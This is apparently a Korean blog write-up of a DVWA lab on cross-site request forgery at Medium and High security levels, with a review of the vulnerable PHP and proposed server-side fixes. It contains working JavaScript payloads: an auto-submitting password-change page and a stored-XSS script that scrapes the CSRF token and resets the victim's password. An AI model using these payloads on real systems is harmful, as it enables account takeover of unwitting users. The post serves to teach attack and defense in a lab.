[웹 모의해킹] CSRF -3편 - 보안 레벨 Medium, High 자동화 공격 스크립트 및 방어 코드 분석
이전 글 보러 가기
[웹 모의해킹] CSRF - 2편 - 사이트 간 요청 위조 취약점 실습(환경 구성 + 공격 시나리오 + 에러 해
이전 글 보러 가기 [웹 모의해킹] CSRF - 사이트 간 요청 위조 취약점 실습이번 실습은 DVWA의 CSRF (Cross-Site Request Forgery) 취약점을 대상으로, 보안 레벨별 구조 분석 및 실제 공격 시나리오를 수행해
ahhyun98.tistory.com
이번 실습은 DVWA의 CSRF(Cross-Site Request Forgery, 사이트 간 요청 위조) 취약점을 대상으로 보안 레벨 Medium, High에서의 공격 및 방어 로직 분석, 그리고 JavaScript 기반 자동화 공격을 구현한 고급 실습이다.
단순한 공격을 넘어, 정규 표현식을 활용한 토큰 피싱, XSS(stored)와의 복합 공격, 서버 측 방어 코드 리뷰, 환경 설정 오류 해결 등으로 구성해 보았다.
1. 환경 설정 및 오류 해결
❌ 리눅스에서의 문제
- Burp Suite가 요청을 수신하지 않음.
- 원인 : Tomcat이 8080 포트를 점유하고 있어 충돌 발생
해결 방법
- 실습 환경을 Windows로 전환하여 Burp Suite 사용
- Apache, MariaDB 수동 시작
service apache2 start
systemctl start mariadb
- 브라우저 프록시는 수동으로 127.0.0.1:8080 설정
- DVWA 접속: http://target_ip/DVWA/
- 보안 레벨 :medium, high로 변경하며 테스트
2. Medium 보안 레벨 구조 분석
=> DVWA의 medium 보안 레벨에서는 CSRF 방어 기능이 일부 적용되어 있지만, 여전히 공격이 가능한 구조이다.
Medium 단계 소스코드
<?php
if (isset($_GET['Change'])) {
// 1. Referer 검사
if (eregi("127.0.0.1", $_SERVER['HTTP_REFERER'])) {
// 2. 사용자 입력 처리
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
// 3. 비밀번호 일치 확인
if ($pass_new == $pass_conf) {
// 4. 필터링 및 해싱
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
// 5. DB에 저장
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = 'admin'";
$result = mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>');
echo "<pre> Password Changed </pre>";
mysql_close();
} else {
echo "<pre> Passwords did not match. </pre>";
}
}
}
?>
방어 로직 분석
요소 | 상태 |
CSRF 토큰 검증 | 없음 |
Referer 검사 | 있음 => eregi("127.0.0.1", $_SERVER['HTTP_REFERER']) |
입력값 필터링 | 부분적으로 있음 => mysql_real_escape_string() 사용 |
비밀번호 해싱 | 있으나 약함 => md5() |
요청 방식 제한 | 없음 => GET 방식 허용 |
주요 취약 요소
1. CSRF 토큰이 없음
- 사용자의 요청이 진짜인지 확인할 수 있는 기준이 없음.
- 공격자가 피해자 세션을 이용해 그대로 요청 전송 가능.
2. Referer 검사가 있긴 하지만 방식이 불완전
- eregi("127.0.0.1", $_SERVER['HTTP_REFERER'])는 단순 문자열 비교.
- Referer는 클라이언트에서 조작 가능하거나 생략 가능.
3. GET 방식 허용
- URL에 민감한 정보가 포함되며, 이미지 태그(<img src=...>)나 자동화 스크립트로 공격 가능.
- 보통 POST 방식이 요구되어야 안전함.
3. Medium 보안 레벨에서의 공격 시나리오
<!DOCTYPE html>
<html>
<head><title>CSRF MEDIUM</title></head>
<script>
function csrf_medium() {
var host = 'http://target_ip';
var req_uri = host + "/DVWA/vulnerabilities/csrf/?password_new=hello&password_conf=hello&Change=Change";
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", req_uri, true);
xhr.send();
alert("비밀번호 변경이 완료되었습니다.");
}
</script>
<body>
CSRF MEDIUM<br/>
눌러보세요~~
<a href="javascript:csrf_medium()">Click!</a>
</body>
</html>
공격 결과
=> 로그인된 피해자가 해당 링크 클릭 시 비밀번호가 자동으로 hello로 변경됨.
4. High 보안 레벨 구조 분석 (DVWA)
=> High 보안 레벨은 기존 비밀번호 확인, CSRF 토큰 삽입 등 방어 요소가 증가하였지만 여전히 우회 가능한 구조이다.
High 단계 소스코드
<?php
if (isset($_GET['Change'])) {
// 1. 사용자 입력값 처리
$pass_curr = $_GET['password_current'];
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
// 2. 현재 비밀번호 필터링 및 해싱
$pass_curr = stripslashes($pass_curr);
$pass_curr = mysql_real_escape_string($pass_curr);
$pass_curr = md5($pass_curr);
// 3. DB에서 기존 비밀번호 조회
$qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr'";
$result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>');
// 4. 새 비밀번호 확인 및 조건 검사
if (($pass_new == $pass_conf) && ($result && mysql_num_rows($result) == 1)) {
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
// 5. 비밀번호 업데이트
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user='admin'";
$result = mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>');
echo "<pre> Password Changed </pre>";
mysql_close();
} else {
echo "<pre> Passwords did not match or current password incorrect </pre>";
}
}
?>
방어 로직 분석
요소 | 상태 |
CSRF 토큰 검증 | HTML에만 포함, 서버 검증 없음. |
현재 비밀번호 확인 | SELECT password WHERE user='admin' AND password='...' |
입력값 필터링 | 있음 => mysql_real_escape_string() 사용 |
비밀번호 해싱 | 있음 => md5() => 약하지만 존재 |
요청 방식 제한 | 없음 (GET 허용됨) |
5. High 단계에서의 공격 시나리오
공격 조건
- 피해자는 로그인 상태임 (세션 쿠키 보유)
- 공격자는 기존 비밀번호 (admin)을 알고 있음. (기본 admin 계정 사용)
- CSRF 토큰은 XSS(stored)를 통해 탈취 후 공격 요청에 사용
XSS (Stored)를 이용한 토큰 탈취
var hostname = 'http://target_ip'; // 실제 IP 대신 익명화된 target_ip 사용
var the_url = hostname + '/DVWA/vulnerabilities/csrf';
var pass = 'kkkkk';
var regex = /name='user_token' value='([^']+)'/; // 정규식: user_token 추출
var activated = false; // 공격 요청 중복 방지용 플래그
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
alert('Started Attack CSRF Script');
} else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.withCredentials = true; // 쿠키 포함 설정 (PHPSESSID 전달 필요)
// 응답 처리 함수 정의
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var text = xmlhttp.responseText;
console.log(text);
var match = text.match(regex);
console.log(match);
var token = match[1]; // 토큰 값 추출
var new_url = the_url + '/?user_token=' + token +
'&password_current=admin' +
'&password_new=' + pass +
'&password_conf=' + pass +
'&Change=Change';
if (!activated) {
alert('Token that was received: ' + token);
activated = true;
xmlhttp.open("GET", new_url, false); // 토큰 포함 요청 전송
xmlhttp.send();
}
}
};
// 토큰 추출을 위한 첫 요청
xmlhttp.open("GET", the_url, false);
xmlhttp.send();
실행 흐름
- /vulnerabilities/csrf 페이지에 접속해 HTML에서 user_token 추출
- 기존 비밀번호와 함께 토큰을 포함한 요청 생성
- 자동화된 GET 요청으로 비밀번호 변경 성공!!
서버 측 주요 보안 로직
방어 요소 | 설명 |
CSRF 토큰 검증 | HTML에 포함되어 있으나 서버 검증 미비 (checkToken 미사용) |
요청 방식 제한 | 없음 (GET 허용으로 자동화 쉬움) |
입력값 필터링 | mysql_real_escape_string() 사용 |
SQL 인젝션 방어 | 부분적으로 수행됨. |
비밀번호 해싱 | md5() 사용 (실무에서는 bcrypt 권장) |
전체 공격 흐름 요약
단계 | 설명 |
1단계 | 공격자가 자동화된 자바스크립트 기반 CSRF 스크립트 제작 |
2단계 | 공격자가 Stored XSS 취약점을 이용해 악성 스크립트를 DVWA 게시판에 저장 |
3단계 | 피해자가 로그인된 상태로 해당 XSS가 삽입된 DVWA 페이지 접속 |
4단계 | 피해자의 브라우저에서 외부 악성 스크립트가 자동 실행됨. |
5단계 | CSRF 토큰 (user_token)을 추출하고, 기존 비밀번호를 포함한 비밀번호 변경 요청을 자동 전송 |
6단계 | 비밀번호 변경에 성공함!! + 더 나아가 공격자는 추가적인 침해 가능성을 확보함. |
6. 마무리
이번 실습은 단순한 CSRF 개념을 넘어서 보안 레벨별 방어 구조의 차이점을 분석하고, 서버 코드를 기반으로 한 우회 공격 시나리오까지 수행한 고급 실습이었다. 자바스크립트를 이용한 자동화, 정규표현식을 활용한 토큰 추출, 서버의 불완전한 방어 구조를 분석하고 이를 뚫는 과정까지 경험할 수 있었다. 또한, CSRF 대응 전략을 고민해 보는데도 큰 도움이 되었다.
7. 서버 방어 개선 방안
이번 실습에서 확인했듯이, CSRF 방어가 제대로 구현되어 있지 않으면 단순한 자동화 스크립트만으로도 피해자의 계정 정보가 변경될 수 있다. 이를 방지하기 위해서는 아래와 같은 보안 로직을 구성해야 한다.
1. CSRF 토큰 서버 검증 로직 구현
HTML에서 토큰을 삽입하는 것만으로는 충분하지 않고, 서버에서도 이를 검증해야 한다.
if ($_SESSION['token'] != $_POST['token']) {
die("CSRF token validation failed.");
}
=> 서버에서 세션에 저장된 토큰과 요청에 포함된 토큰 값을 비교해야 한다.
2. HTTP 요청 방식 제한 (POST만 허용)
GET 방식은 브라우저에서 쉽게 요청이 발생할 수 있어 CSRF에 취약하다.
따라서 비밀번호 변경, 개인정보 수정 등의 민감한 요청은 반드시 POST 방식만 허용해야 한다.
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
die("Invalid request method.");
}
3. 안전한 해싱 알고리즘 사용
MD5는 충돌 가능성이 높아 더 이상 안전하지 않다. PHP에서는 password_hash()와 password_verify()를 사용하는 것이 권장된다.
$hashed_password = password_hash($pass_new, PASSWORD_DEFAULT);
// 검증 시: password_verify($pass_input, $hashed_password)
이러한 보안 조치들을 실제 서비스에 적용하면 CSRF 뿐만 아니라 다양한 웹 보안 위협으로부터 효과적으로 사용자를 보호할 수 있다.
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.